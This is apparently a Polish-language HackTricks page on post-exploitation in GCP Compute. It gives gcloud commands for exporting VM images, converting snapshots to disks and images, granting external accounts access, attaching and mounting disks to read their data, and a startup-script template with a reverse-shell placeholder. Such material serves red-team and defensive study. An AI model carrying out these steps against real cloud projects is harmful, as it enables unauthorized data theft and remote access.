GCP - Compute Post Exploitation

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Obliczenia

Aby uzyskać więcej informacji na temat Obliczeń i VPC (Sieciowanie), sprawdź:

pageGCP - Compute Enum

Eksport i Inspekcja obrazów lokalnie

To pozwoliłoby atakującemu uzyskać dostęp do danych zawartych w już istniejących obrazach lub tworzyć nowe obrazy działających maszyn wirtualnych i uzyskiwać do nich dostęp bez posiadania dostępu do działającej maszyny wirtualnej.

Możliwe jest wyeksportowanie obrazu maszyny wirtualnej do kubełka, a następnie pobranie go i zamontowanie lokalnie za pomocą polecenia:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Przed wykonaniem tej czynności atakujący może potrzebować uprawnień do kubełka przechowywania oraz na pewno uprawnień do cloudbuild, ponieważ to usługa, która zostanie poproszona o wykonanie eksportu. Ponadto, aby to działało, SA codebuild i SA compute potrzebują uprzywilejowanych uprawnień. SA cloudbuild <project-id>@cloudbuild.gserviceaccount.com potrzebuje:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

A SA <project-id>-compute@developer.gserviceaccount.com potrzebuje:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Eksportuj i Sprawdzaj Lokalnie Snapshots i Dyski

Nie jest możliwe bezpośrednie eksportowanie snapshots i dysków, ale można przekształcić snapshot w dysk, dysk w obraz i zgodnie z poprzednim rozdziałem, wyeksportować ten obraz, aby go lokalnie sprawdzić

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Sprawdź obraz tworząc wirtualną maszynę

Z celem dostępu do danych przechowywanych w obrazie lub wewnątrz uruchomionej maszyny wirtualnej, z której atakujący utworzył obraz, można udzielić zewnętrznemu kontu dostępu do obrazu:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

a następnie utwórz nową maszynę wirtualną z tego obrazu:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Jeśli nie możesz udzielić swojemu zewnętrznemu kontu dostępu do obrazu, możesz uruchomić maszynę wirtualną korzystając z tego obrazu w projekcie ofiary i spowodować wykonanie odwrotnego powłoki przez metadane obrazu, dodając parametr:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Sprawdź migawkę/dysk, podłączając ją do maszyny wirtualnej

Mając na celu dostęp do danych przechowywanych na dysku lub migawce, możesz przekształcić migawkę w dysk, dysk w obraz i kontynuować poprzednie kroki.

Możesz także udzielić zewnętrznemu kontu dostępu do dysku (jeśli punktem wyjścia jest migawka, udziel dostępu do migawki lub utwórz z niej dysk):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Podłącz dysk do instancji:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Zamontuj dysk wewnątrz maszyny wirtualnej:

  1. Zaloguj się przez SSH do maszyny wirtualnej:

gcloud compute ssh [NAZWA_INSTANCJI] --zone [STREFA]
  1. Zidentyfikuj dysk: Po zalogowaniu się do maszyny wirtualnej zidentyfikuj nowy dysk, wyświetlając listę urządzeń dyskowych. Zazwyczaj znajdziesz go jako /dev/sdb, /dev/sdc, itp.

  2. Sformatuj i zamontuj dysk (jeśli jest to nowy lub surowy dysk):

  • Utwórz punkt montowania:

sudo mkdir -p /mnt/disks/[KATALOG_MONTOWANIA]
  • Zamontuj dysk:

sudo mount -o discard,defaults /dev/[URZĄDZENIE_DYSKU] /mnt/disks/[KATALOG_MONTOWANIA]

Jeśli nie możesz udzielić dostępu zewnętrznemu projektowi do migawki lub dysku, możesz potrzebować wykonać te czynności wewnątrz instancji w tym samym projekcie co migawka/dysk.

Last updated